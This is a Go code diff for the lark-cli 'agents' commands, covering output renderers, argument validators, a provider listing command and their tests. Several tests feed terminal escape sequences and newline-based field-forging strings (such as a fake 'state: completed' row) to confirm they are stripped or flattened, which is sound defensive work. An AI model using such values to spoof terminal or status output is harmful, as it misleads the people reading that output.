+		if head != "" && ir.Description != "" {
+			head += " — " + ir.Description
+		} else if head == "" {
+			head = ir.Description
+		}
+		if head == "" && len(ir.Questions) == 1 {
+			// single untitled question: headline IS the question, no numbering.
+			q := ir.Questions[0]
+			fmt.Fprintf(w, "input_required: %s%s\n", truncateRunes(kvValue(q.Question), 120), questionKindSuffix(q))
+			printOptionsPretty(w, "  ", q.Options)
+			return
+		}
+		fmt.Fprintf(w, "input_required: %s\n", truncateRunes(kvValue(head), 120))
+		for i, q := range ir.Questions {
+			fmt.Fprintf(w, "  [%d] %s%s\n", i+1, truncateRunes(kvValue(q.Question), 120), questionKindSuffix(q))
+			printOptionsPretty(w, "      ", q.Options)
+		}
+	}
+}
+
+// questionKindSuffix annotates a question row with its answer form: free text
+// or multi-select (a plain single-select needs no annotation — options below it
+// say enough).
+func questionKindSuffix(q iagents.Question) string {
+	if len(q.Options) == 0 {
+		return "（自由文本）"
+	}
+	if q.MultiSelect {
+		return "（可多选）"
+	}
+	return ""
+}
+
+// printOptionsPretty renders one "id: label — description" row per option under
+// the given indent; every field is agent-controlled and goes through kvValue.
+func printOptionsPretty(w io.Writer, indent string, opts []iagents.Option) {
+	for _, o := range opts {
+		row := fmt.Sprintf("%s: %s", kvValue(o.OptionID), kvValue(o.Label))
+		if o.Description != "" {
+			row += " — " + kvValue(o.Description)
+		}
+		fmt.Fprintf(w, "%s%s\n", indent, row)
+	}
+}
+
+// TSV renderers below intentionally do not escape tab/newline in cell values:
+// a value containing them breaks the column layout. The agent's primary
+// consumption surface is json; pretty is for human inspection only, so leaving
+// them unescaped is acceptable.
+
+// printTaskSummariesTSV renders the list-class pretty view for tasks: a header
+// row naming the json fields, then one row per task. Summary is agent-controlled
+// text, so it is ANSI-stripped AND newline/tab-flattened via kvValue — an
+// unflattened tab/newline would otherwise break the column layout; the ids keep
+// plain stripANSI under the TSV no-escape exemption.
+func printTaskSummariesTSV(w io.Writer, tasks []iagents.TaskSummary) {
+	fmt.Fprintf(w, "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY\n")
+	for _, t := range tasks {
+		fmt.Fprintf(w, "%s\t%s\t%s\t%t\t%s\t%s\n",
+			stripANSI(t.TaskID), stripANSI(t.ContextID), stripANSI(string(t.State)), t.IsTerminal, stripANSI(t.UpdatedAt), kvValue(t.Summary))
+	}
+}
+
+// printContextsTSV renders the list-class pretty view for contexts. The Title is
+// agent-controlled and ANSI-stripped; AwaitingInput is the conversation-layer
+// rollup used to spot which session needs attention.
+func printContextsTSV(w io.Writer, contexts []iagents.ContextSummary) {
+	fmt.Fprintf(w, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tAWAITING_INPUT\n")
+	for _, c := range contexts {
+		fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%t\n",
+			stripANSI(c.ContextID), stripANSI(c.CreatedAt), stripANSI(c.UpdatedAt), stripANSI(c.Title), c.AwaitingInput)
+	}
+}
+
+// printContextDetailPretty renders `context get --format pretty` as a
+// conversation overview: metadata + the task_count / awaiting_input rollup, and
+// — when present — a one-line digest of the active task
+// (state · updated_at · summary). It deliberately does NOT expand the full task
+// list (that is `agents task list --context-id`). Agent-controlled strings (Title
+// and the active-task Summary) go through kvValue so they cannot forge adjacent
+// field rows.
+func printContextDetailPretty(w io.Writer, detail *iagents.ContextDetail) {
+	if detail == nil {
+		fmt.Fprintln(w, "(no context)")
+		return
+	}
+	fmt.Fprintf(w, "context_id: %s\n", kvValue(detail.ContextID))
+	if detail.CreatedAt != "" {
+		fmt.Fprintf(w, "created_at: %s\n", kvValue(detail.CreatedAt))
+	}
+	if detail.UpdatedAt != "" {
+		fmt.Fprintf(w, "updated_at: %s\n", kvValue(detail.UpdatedAt))
+	}
+	if detail.Title != "" {
+		fmt.Fprintf(w, "title: %s\n", kvValue(detail.Title))
+	}
+	// nil TaskCount = the provider cannot supply the count; omit the line
+	// rather than printing a misleading 0.
+	if detail.TaskCount != nil {
+		fmt.Fprintf(w, "task_count: %d\n", *detail.TaskCount)
+	}
+	fmt.Fprintf(w, "awaiting_input: %t\n", detail.AwaitingInput)
+	if at := detail.ActiveTask; at != nil {
+		fmt.Fprintf(w, "active_task: %s · %s · %s\n", kvValue(string(at.State)), kvValue(at.UpdatedAt), kvValue(at.Summary))
+	}
+}
+
+// usageHintOf builds the "用法: <command path> <positional shape>" hint from
+// the executing command's Use line, so the hint never drifts from the
+// registered Use string.
+func usageHintOf(cmd *cobra.Command) string {
+	if _, shape, ok := strings.Cut(cmd.Use, " "); ok {
+		return fmt.Sprintf("用法: %s %s", cmd.CommandPath(), shape)
+	}
+	return "用法: " + cmd.CommandPath()
+}
+
+// exactArgsWithUsage is cobra.ExactArgs wrapped into a typed validation error
+// (exit 2) whose hint carries the full usage string — cobra's bare English
+// "accepts 2 arg(s), received 1" never says WHAT is missing.
+func exactArgsWithUsage(n int) cobra.PositionalArgs {
+	return func(cmd *cobra.Command, args []string) error {
+		if len(args) != n {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument,
+				"需要 %d 个位置参数，收到 %d 个", n, len(args)).
+				WithHint("%s", usageHintOf(cmd))
+		}
+		return nil
+	}
+}
+
+// maximumArgsWithUsage is the cobra.MaximumNArgs counterpart of
+// exactArgsWithUsage, for leaves with an optional positional (agents list).
+func maximumArgsWithUsage(n int) cobra.PositionalArgs {
+	return func(cmd *cobra.Command, args []string) error {
+		if len(args) > n {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument,
+				"最多接受 %d 个位置参数，收到 %d 个", n, len(args)).
+				WithHint("%s", usageHintOf(cmd))
+		}
+		return nil
+	}
+}

cmd/agents/format_test.go

@@ -0,0 +1,450 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"bytes"
+	"encoding/json"
+	"errors"
+	"strings"
+	"testing"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// TestPrintTaskPrettyRendersQuestionGroup pins that printTaskPretty surfaces an
+// input_required question group: group headline (label — description), numbered
+// questions with their answer-form annotation (自由文本 / 可多选), and
+// id: label — description option rows — with all agent-controlled fields
+// ANSI-stripped.
+func TestPrintTaskPrettyRendersQuestionGroup(t *testing.T) {
+	out := &bytes.Buffer{}
+	printTaskPretty(out, &iagents.AgentTask{
+		TaskID: "task_1", State: iagents.StateInputRequired,
+		InputRequired: &iagents.InputRequired{
+			Label:       "报表生成确认",
+			Description: "生成前需确认\x1b[2J口径",
+			Questions: []iagents.Question{
+				{QuestionID: "q1_a8", Question: "按什么维度拆分？", Options: []iagents.Option{
+					{OptionID: "by_region", Label: "按大区", Description: "华东/华北/华南汇总"},
+					{OptionID: "by_category", Label: "按品类"},
+				}},
+				{QuestionID: "q2_a8", Question: "时间范围？"},
+				{QuestionID: "q3_a8", Question: "包含哪些区域？", MultiSelect: true, Options: []iagents.Option{
+					{OptionID: "east", Label: "华东"},
+				}},
+			},
+		},
+	})
+	text := out.String()
+	for _, want := range []string{
+		"input_required: 报表生成确认 — 生成前需确认",
+		"[1] 按什么维度拆分？",
+		"by_region: 按大区 — 华东/华北/华南汇总",
+		"by_category: 按品类",
+		"[2] 时间范围？（自由文本）",
+		"[3] 包含哪些区域？（可多选）",
+		"east: 华东",
+	} {
+		if !strings.Contains(text, want) {
+			t.Errorf("pretty task should render question-group part %q, got:\n%s", want, text)
+		}
+	}
+	if strings.Contains(text, "\x1b") {
+		t.Errorf("ANSI in group text must be stripped, got %q", text)
+	}
+
+	// A single untitled question renders as the headline itself — no numbering.
+	out.Reset()
+	printTaskPretty(out, &iagents.AgentTask{
+		TaskID: "task_2", State: iagents.StateInputRequired,
+		InputRequired: &iagents.InputRequired{Questions: []iagents.Question{
+			{QuestionID: "q1_b2", Question: "请补充时间范围"},
+		}},
+	})
+	single := out.String()
+	if !strings.Contains(single, "input_required: 请补充时间范围（自由文本）") {
+		t.Errorf("single untitled question should be the headline, got:\n%s", single)
+	}
+	if strings.Contains(single, "[1]") {
+		t.Errorf("single question must not be numbered, got:\n%s", single)
+	}
+}
+
+// TestValidateFormat_Valid pins that json/pretty (and the zero value, which
+// only occurs when options structs are built directly in tests) pass.
+func TestValidateFormat_Valid(t *testing.T) {
+	for _, f := range []string{"", "json", "pretty"} {
+		if err := validateFormat(f); err != nil {
+			t.Errorf("format %q should be valid: %v", f, err)
+		}
+	}
+}
+
+// TestValidateFormat_Invalid pins that a --format outside json|pretty is a
+// validation/invalid_argument error (exit 2) whose hint lists the legal values
+// and whose param names the flag with the -- prefix.
+func TestValidateFormat_Invalid(t *testing.T) {
+	err := validateFormat("yaml")
+	if err == nil {
+		t.Fatal("--format yaml should error (currently silently treated as json)")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	if output.ExitCodeOf(err) != output.ExitValidation {
+		t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
+	}
+	if !strings.Contains(p.Hint, "json | pretty") {
+		t.Errorf("hint should list the legal values json | pretty, got %q", p.Hint)
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.Param != "--format" {
+		t.Errorf("param should be --format, got %+v", verr)
+	}
+}
+
+// agentRootTree builds `lark-cli agents ...` as production wires it (root Use
+// lark-cli), with a nil Factory: format validation must fire at the RunE
+// entry, before any Factory access.
+func agentRootTree() *cobra.Command {
+	root := &cobra.Command{Use: "lark-cli", SilenceUsage: true, SilenceErrors: true}
+	root.AddCommand(NewCmdAgents(nil))
+	return root
+}
+
+// TestFormatYamlRejectedAcrossLeaves pins that EVERY leaf of the agent tree
+// consumes validateFormat: `--format yaml` is exit 2 with the json|pretty
+// hint, uniformly, before any provider/Factory is touched.
+func TestFormatYamlRejectedAcrossLeaves(t *testing.T) {
+	leaves := [][]string{
+		{"agents", "list", "--format", "yaml"},
+		{"agents", "card", "example:x", "--format", "yaml"},
+		{"agents", "send", "example:x", "--text", "hi", "--format", "yaml"},
+		{"agents", "task", "get", "example:x", "t1", "--format", "yaml"},
+		{"agents", "task", "list", "example:x", "--format", "yaml"},
+		{"agents", "task", "cancel", "example:x", "t1", "--format", "yaml"},
+		{"agents", "context", "list", "example:x", "--format", "yaml"},
+		{"agents", "context", "get", "example:x", "c1", "--format", "yaml"},
+		{"agents", "context", "delete", "example:x", "c1", "--yes", "--format", "yaml"},
+	}
+	for _, argv := range leaves {
+		t.Run(strings.Join(argv[:len(argv)-2], " "), func(t *testing.T) {
+			root := agentRootTree()
+			root.SetOut(&bytes.Buffer{})
+			root.SetErr(&bytes.Buffer{})
+			root.SetArgs(argv)
+			err := root.Execute()
+			if err == nil {
+				t.Fatalf("%v should report a --format validation error", argv)
+			}
+			if !errs.IsValidation(err) {
+				t.Fatalf("should be a validation error, got %T: %v", err, err)
+			}
+			if output.ExitCodeOf(err) != output.ExitValidation {
+				t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
+			}
+			p, ok := errs.ProblemOf(err)
+			if !ok || !strings.Contains(p.Hint, "json | pretty") {
+				t.Errorf("hint should contain json | pretty, got %+v", p)
+			}
+		})
+	}
+}
+
+// TestFormatHelpTextUniform pins the mandated uniform help text
+// "output format: json (default) | pretty" across every leaf that has --format.
+func TestFormatHelpTextUniform(t *testing.T) {
+	cmds := map[string]*cobra.Command{
+		"list":           NewCmdAgentList(nil),
+		"card":           NewCmdAgentCard(nil),
+		"send":           NewCmdAgentSend(nil, nil),
+		"task get":       NewCmdAgentTaskGet(nil),
+		"task list":      NewCmdAgentTaskList(nil),
+		"task cancel":    NewCmdAgentTaskCancel(nil),
+		"context list":   NewCmdAgentContextList(nil),
+		"context get":    NewCmdAgentContextGet(nil),
+		"context delete": NewCmdAgentContextDelete(nil),
+	}
+	for name, cmd := range cmds {
+		fl := cmd.Flags().Lookup("format")
+		if fl == nil {
+			t.Errorf("%s should have a --format flag", name)
+			continue
+		}
+		if fl.DefValue != "json" {
+			t.Errorf("%s --format default should be json, got %q", name, fl.DefValue)
+		}
+		if fl.Usage != "output format: json (default) | pretty" {
+			t.Errorf("%s --format help should be uniform, got %q", name, fl.Usage)
+		}
+	}
+}
+
+// TestStripANSI pins that CSI sequences, OSC sequences and bare ESC bytes are
+// all removed before agent text reaches a terminal.
+func TestStripANSI(t *testing.T) {
+	for _, tt := range []struct{ in, want string }{
+		{"before\x1b[31mred\x1b[0mafter", "beforeredafter"},
+		{"a\x1bb", "ab"}, // bare ESC
+		{"t\x1b]0;evil\x07x", "tx"},
+		{"clean 文本", "clean 文本"},
+	} {
+		if got := stripANSI(tt.in); got != tt.want {
+			t.Errorf("stripANSI(%q) = %q, want %q", tt.in, got, tt.want)
+		}
+	}
+}
+
+// TestPrintTaskPretty pins the task-class pretty spec: line-per-field
+// key: value with state / task_id / context_id / first text message truncated
+// to 120 runes / artifacts count — and the agent-controlled text stripped of
+// ANSI escapes.
+func TestPrintTaskPretty(t *testing.T) {
+	long := strings.Repeat("字", 130)
+	task := &iagents.AgentTask{
+		TaskID:    "chat_1",
+		ContextID: "sess_1",
+		State:     iagents.StateCompleted,
+		Messages: []iagents.Message{{
+			Role:  "agent",
+			Parts: []iagents.Part{{Type: "text", Text: "\x1b[31m" + long + "\x1b[0m"}},
+		}},
+		Artifacts: []iagents.Artifact{{ID: "a1"}, {ID: "a2"}},
+	}
+	out := &bytes.Buffer{}
+	printTaskPretty(out, task)
+	text := out.String()
+
+	for _, want := range []string{"state: completed", "task_id: chat_1", "context_id: sess_1", "artifacts: 2"} {
+		if !strings.Contains(text, want) {
+			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
+		}
+	}
+	if strings.Contains(text, "\x1b") {
+		t.Errorf("ANSI sequences in agent body text must be stripped: %q", text)
+	}
+	if strings.Contains(text, long) {
+		t.Errorf("body should be truncated to 120 chars, the full 130-char body should not appear")
+	}
+	if !strings.Contains(text, strings.Repeat("字", 120)) {
+		t.Errorf("body should keep the first 120 chars, got:\n%s", text)
+	}
+	var env output.Envelope
+	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
+		t.Errorf("pretty should not be a JSON envelope: %s", text)
+	}
+}
+
+// TestPrintTaskPretty_NewlineForgeryNeutralized pins the key:value forgery
+// fix: agent text containing newlines must not be able to fake an adjacent
+// field row ("done\nstate: completed") — \n/\t in single-line values collapse
+// to spaces, so exactly one state: line exists.
+func TestPrintTaskPretty_NewlineForgeryNeutralized(t *testing.T) {
+	task := &iagents.AgentTask{
+		TaskID: "chat_1",
+		State:  iagents.StateFailed,
+		Messages: []iagents.Message{{
+			Role:  "agent",
+			Parts: []iagents.Part{{Type: "text", Text: "done\nstate: completed\tok"}},
+		}},
+	}
+	out := &bytes.Buffer{}
+	printTaskPretty(out, task)
+
+	var stateLines int
+	for _, line := range strings.Split(out.String(), "\n") {
+		if strings.HasPrefix(line, "state: ") {
+			stateLines++
+		}
+	}
+	if stateLines != 1 {
+		t.Fatalf("body newlines must not forge an adjacent field row; there should be exactly 1 state: line, got %d:\n%s", stateLines, out.String())
+	}
+	if !strings.Contains(out.String(), "state: failed") {
+		t.Errorf("the real state line should remain, got:\n%s", out.String())
+	}
+	if !strings.Contains(out.String(), "reply: done state: completed ok") {
+		t.Errorf("\\n/\\t in the body should be replaced by spaces, got:\n%s", out.String())
+	}
+}
+
+// TestPrintContextDetailPretty_NewlineForgeryNeutralized pins the same fix on
+// the context title row.
+func TestPrintContextDetailPretty_NewlineForgeryNeutralized(t *testing.T) {
+	out := &bytes.Buffer{}
+	printContextDetailPretty(out, &iagents.ContextDetail{
+		ContextID: "sess_1",
+		Title:     "标题\ncontext_id: forged",
+	})
+	var idLines int
+	for _, line := range strings.Split(out.String(), "\n") {
+		if strings.HasPrefix(line, "context_id: ") {
+			idLines++
+		}
+	}
+	if idLines != 1 {
+		t.Fatalf("title newlines must not forge a context_id row; there should be exactly 1 line, got %d:\n%s", idLines, out.String())
+	}
+}
+
+// TestPrintTaskPretty_NilTask pins the nil degradation (no panic).
+func TestPrintTaskPretty_NilTask(t *testing.T) {
+	out := &bytes.Buffer{}
+	printTaskPretty(out, nil)
+	if out.Len() == 0 {
+		t.Error("nil task should print a placeholder line")
+	}
+}
+
+// TestPrintTaskSummariesTSV pins the list-class pretty spec: a header row
+// naming the json fields (now including UPDATED_AT + SUMMARY), then one
+// tab-separated row per task. Summary is agent-controlled, so it is
+// ANSI-stripped AND newline/tab-flattened via kvValue.
+func TestPrintTaskSummariesTSV(t *testing.T) {
+	out := &bytes.Buffer{}
+	printTaskSummariesTSV(out, []iagents.TaskSummary{
+		{TaskID: "chat_1", ContextID: "sess_1", State: iagents.StateCompleted, IsTerminal: true,
+			UpdatedAt: "2026-07-05T12:00:00Z", Summary: "分析\n完成\x1b[0m"},
+	})
+	lines := strings.Split(strings.TrimSpace(out.String()), "\n")
+	if len(lines) != 2 {
+		t.Fatalf("should have a header + 1 data row, got %q", out.String())
+	}
+	if lines[0] != "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY" {
+		t.Errorf("header columns should match the json field names, got %q", lines[0])
+	}
+	// Summary: ANSI escape stripped, newline flattened to a space.
+	if lines[1] != "chat_1\tsess_1\tcompleted\ttrue\t2026-07-05T12:00:00Z\t分析 完成" {
+		t.Errorf("data row mismatch, got %q", lines[1])
+	}
+}
+
+// TestPrintContextsTSV pins the context-list pretty spec: header row (now
+// carrying the UPDATED_AT / AWAITING_INPUT rollup columns — no TASK_COUNT,
+// which is a `context get` field) plus rows, with the agent-controlled Title
+// stripped of ANSI escapes.
+func TestPrintContextsTSV(t *testing.T) {
+	out := &bytes.Buffer{}
+	printContextsTSV(out, []iagents.ContextSummary{
+		{ContextID: "sess_1", CreatedAt: "2026-07-05T10:00:00+08:00", UpdatedAt: "2026-07-05T12:00:00+08:00",
+			Title: "\x1b[2J销售分析", AwaitingInput: true},
+	})
+	text := out.String()
+	if !strings.HasPrefix(text, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tAWAITING_INPUT\n") {
+		t.Errorf("should have a header row with the rollup columns, got %q", text)
+	}
+	if !strings.Contains(text, "销售分析") {
+		t.Errorf("should contain the title text, got %q", text)
+	}
+	if strings.Contains(text, "\x1b") {
+		t.Errorf("ANSI sequences in Title must be stripped: %q", text)
+	}
+	// The awaiting_input rollup directly trails the title — no TASK_COUNT column
+	// in between.
+	if !strings.Contains(text, "销售分析\ttrue\n") {
+		t.Errorf("should carry the awaiting_input rollup right after the title, got %q", text)
+	}
+}
+
+// TestPrintContextDetailPretty pins the context-get pretty rendering as a
+// conversation overview: metadata + the task_count / awaiting_input rollup and
+// a one-line active_task digest — NOT a full tasks[] list (that is `agents task
+// list --context-id`). Title and the active-task Summary are agent-controlled,
+// so both are ANSI-stripped + newline-flattened.
+func TestPrintContextDetailPretty(t *testing.T) {
+	out := &bytes.Buffer{}
+	printContextDetailPretty(out, &iagents.ContextDetail{
+		ContextID:     "sess_1",
+		CreatedAt:     "2026-07-05T10:00:00+08:00",
+		UpdatedAt:     "2026-07-05T12:00:00+08:00",
+		Title:         "\x1b[31m分析\x1b[0m",
+		TaskCount:     iagents.Int(2),
+		AwaitingInput: true,
+		ActiveTask: &iagents.TaskSummary{
+			TaskID: "chat_2", State: iagents.StateInputRequired,
+			UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供\n季度\x1b[0m",
+		},
+	})
+	text := out.String()
+	for _, want := range []string{
+		"context_id: sess_1", "updated_at: 2026-07-05T12:00:00+08:00", "title: 分析",
+		"task_count: 2", "awaiting_input: true", "active_task: input_required",
+	} {
+		if !strings.Contains(text, want) {
+			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
+		}
+	}
+	// active-task Summary: newline flattened to a space.
+	if !strings.Contains(text, "请提供 季度") {
+		t.Errorf("active_task summary should be ANSI-stripped + newline-flattened, got:\n%s", text)
+	}
+	if strings.Contains(text, "\x1b") {
+		t.Errorf("ANSI sequences must be stripped: %q", text)
+	}
+	// The full task enumeration must NOT appear here anymore.
+	if strings.Contains(text, "tasks:") {
+		t.Errorf("context get should no longer render a tasks[] list, got:\n%s", text)
+	}
+
+	// nil TaskCount = the provider cannot supply the count: the line is omitted
+	// instead of printing a misleading 0.
+	out.Reset()
+	printContextDetailPretty(out, &iagents.ContextDetail{ContextID: "sess_2"})
+	if strings.Contains(out.String(), "task_count") {
+		t.Errorf("a nil TaskCount should omit the task_count line, got %q", out.String())
+	}
+}
+
+// TestExactArgsUsageHint pins that an arg-count error carries a usage hint
+// built from the real command path + Use shape, so the caller learns what is
+// missing instead of cobra's bare "accepts 2 arg(s)".
+func TestExactArgsUsageHint(t *testing.T) {
+	root := agentRootTree()
+	root.SetOut(&bytes.Buffer{})
+	root.SetErr(&bytes.Buffer{})
+	root.SetArgs([]string{"agents", "task", "get", "example:x"}) // missing task-id
+	err := root.Execute()
+	if err == nil {
+		t.Fatal("task get with a single argument should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || !strings.Contains(p.Hint, "用法: lark-cli agents task get <agent_ref> <task-id>") {
+		t.Fatalf("hint should contain the usage string, got %+v", p)
+	}
+	if output.ExitCodeOf(err) != output.ExitValidation {
+		t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
+	}
+}
+
+// TestMaximumArgsUsageHint pins the same treatment for the MaximumNArgs leaf
+// (`agents list [scheme]`).
+func TestMaximumArgsUsageHint(t *testing.T) {
+	root := agentRootTree()
+	root.SetOut(&bytes.Buffer{})
+	root.SetErr(&bytes.Buffer{})
+	root.SetArgs([]string{"agents", "list", "example", "extra"})
+	err := root.Execute()
+	if err == nil {
+		t.Fatal("list with more than 1 positional argument should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || !strings.Contains(p.Hint, "用法: lark-cli agents list [scheme]") {
+		t.Fatalf("hint should contain the usage string, got %+v", p)
+	}
+}

cmd/agents/list.go

@@ -0,0 +1,274 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"fmt"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// providerInfo describes a registered provider adapter in `agents list` output.
+// Every field is sourced from the registered iagents.Provider (the single
+// source of truth).
+type providerInfo struct {
+	Scheme         string `json:"scheme"`
+	Label          string `json:"label"`
+	AgentRefFormat string `json:"agent_ref_format"`
+	Kind           string `json:"kind"`
+	AgentIDSource  string `json:"agent_id_source"`
+	// ListParams documents the business parameters `agents list <scheme>` itself
+	// takes — surfaced HERE (the offline, always-reachable provider listing)
+	// because at list time the caller holds no agent_ref yet, so a card-based
+	// hint would point at an unreachable road.
+	ListParams []iagents.CardParam `json:"list_parameters,omitempty"`
+}
+
+// listOptions holds all inputs for `agents list [scheme]`.
+type listOptions struct {
+	Factory   *cmdutil.Factory
+	Cmd       *cobra.Command
+	Scheme    string
+	Params    []string
+	Format    string
+	As        string
+	PageSize  int
+	PageToken string
+}
+
+// NewCmdAgentList builds `agents list [scheme]`. Without an argument it
+// enumerates the registered provider adapters with their metadata — a
+// pure, API-free listing. With a scheme it performs second-level discovery:
+// catalog providers enumerate offline from their static set; instance providers
+// enumerate via their optional ListAgents hook (absent ⇒ unsupported_capability
+// with the agent_id_source guidance). Risk=read.
+func NewCmdAgentList(f *cmdutil.Factory) *cobra.Command {
+	opts := &listOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "list [scheme]",
+		Short: "List registered agent providers, or enumerate the agents under one provider",
+		Long:  "With no argument, list the built-in provider adapters and their metadata (label / agent_ref format / kind / how to obtain an agent_id) without calling any API. With a scheme, enumerate the agents under that provider (catalog providers must be enumerable; instance providers may not support it).",
+		Args:  maximumArgsWithUsage(1),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			if err := validatePageSize(opts.PageSize); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			if len(args) == 1 {
+				opts.Scheme = args[0]
+			}
+			return agentListRun(opts)
+		},
+	}
+	// --page-size / --page-token apply only to the instance enumeration path
+	// (prov.ListAgents); the offline catalog listing and the no-scheme provider
+	// listing ignore them.
+	addPageFlags(cmd, &opts.PageSize, &opts.PageToken)
+	addParamFlag(cmd, &opts.Params)
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	// --as only matters for the online `list <scheme>` enumeration (an instance
+	// provider's ListAgents call); the no-scheme provider listing is offline and
+	// identity-independent, so it ignores --as.
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// agentListRun dispatches `agents list [scheme]`: with a scheme it lists that
+// provider's agents (second-level discovery); without it renders the provider
+// listing. JSON envelope is the default; `pretty` is the opt-in human view.
+func agentListRun(opts *listOptions) error {
+	if opts.Scheme != "" {
+		return agentListSchemeRun(opts)
+	}
+	// The no-scheme form is a pure offline registry listing — business params
+	// have no target operation, so reject explicitly rather than silently
+	// ignoring what the caller thought they were passing.
+	if len(opts.Params) > 0 {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"--param 仅在 agents list <scheme> 时有意义（无 scheme 的列表是纯本地枚举）").
+			WithParam("--param").
+			WithHint("补充 scheme 重发，如 lark-cli agents list <scheme> --param k=v；各 provider 的 list 参数见本命令输出的 list_parameters")
+	}
+
+	f := opts.Factory
+	providers := listProviders()
+
+	// pretty is a human view only; a --jq expression implies structured JSON.
+	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
+		fmt.Fprintf(f.IOStreams.Out, "SCHEME\tLABEL\tAGENT_REF_FORMAT\tKIND\n")
+		for _, p := range providers {
+			fmt.Fprintf(f.IOStreams.Out, "%s\t%s\t%s\t%s\n", p.Scheme, p.Label, p.AgentRefFormat, p.Kind)
+		}
+		// agent_id_source is a full sentence — a TSV column would blow out the
+		// row width, so surface it as a per-provider footer instead. This is the
+		// single most important "where do I get an agent_id" cue for newcomers
+		// and must not vanish in the human-readable view.
+		fmt.Fprintln(f.IOStreams.Out)
+		for _, p := range providers {
+			fmt.Fprintf(f.IOStreams.Out, "agent_id 获取（%s）: %s\n", p.Scheme, p.AgentIDSource)
+		}
+		return nil
+	}
+
+	env := output.Envelope{
+		OK:     true,
+		Data:   map[string]interface{}{"providers": providers},
+		Meta:   listMeta(len(providers)),
+		Notice: output.GetNotice(),
+	}
+	if jq := jqExpr(opts.Cmd); jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// agentListSchemeRun runs `agents list <scheme>`: second-level enumeration for
+// one provider. A catalog provider enumerates OFFLINE from its static set
+// (prov.ListCatalog). An instance provider enumerates ONLINE via its optional
+// ListAgents hook (needs a configured client); an instance provider without that
+// hook is not enumerable and returns unsupported_capability + the AgentIDSource
+// hint — surfaced before the client is built.
+func agentListSchemeRun(opts *listOptions) error {
+	f := opts.Factory
+	prov, ok := iagents.Info(opts.Scheme)
+	if !ok {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 agent provider '%s'，当前支持: %s",
+			opts.Scheme, iagents.KnownSchemes()).
+			WithHint("用 lark-cli agents list 查看可用 provider")
+	}
+
+	var agents []iagents.AgentSummary
+	var identity string           // set only on the online (instance) path, which resolves one
+	var pageInfo iagents.PageInfo // set only on the online (instance) path
+	catalog := prov.Kind() == iagents.KindCatalog
+	if catalog {
+		// Offline catalog enumeration takes no business params (ListParams
+		// requires a ListAgents hook); validate against the empty set so a stray
+		// --param is rejected with the same teaching error instead of ignored.
+		// The catalog set is finite and offline, so it is UNPAGED: --page-size /
+		// --page-token are ignored on this path (documented on the command).
+		if _, err := validateListParams(opts.Params, nil, opts.Scheme); err != nil {
+			return err
+		}
+		agents = prov.ListCatalog(resolvedBrand(opts.Factory)) // offline, brand-filtered
+	} else {
+		// instance: needs the online ListAgents hook. Absent ⇒ not enumerable.
+		if prov.ListAgents == nil {
+			return errs.NewValidationError(errs.SubtypeUnsupportedCapability,
+				"provider '%s' 暂不支持列举 agent", opts.Scheme).
+				WithHint("%s", prov.AgentIDSource)
+		}
+		// --page-size is validated uniformly in RunE (alongside validateFormat), so
+		// this paginated path does not re-check it here.
+		// Enumeration is a real online call with no agent_id, so it runs the same
+		// two gates every ref-addressed online verb runs (via resolveSpec +
+		// preflightScopesForRef): the user|bot identity whitelist and the
+		// all-or-nothing scope preflight — keyed on the scheme since there is no ref.
+		// agentID is empty (enumeration is not scoped to a single agent).
+		id := f.ResolveAs(opts.Cmd.Context(), opts.Cmd, core.Identity(opts.As))
+		if err := f.CheckIdentity(id, supportedIdentities); err != nil {
+			return err
+		}
+		identity = string(id)
+		// list is a provider-level operation: params validate against ListParams
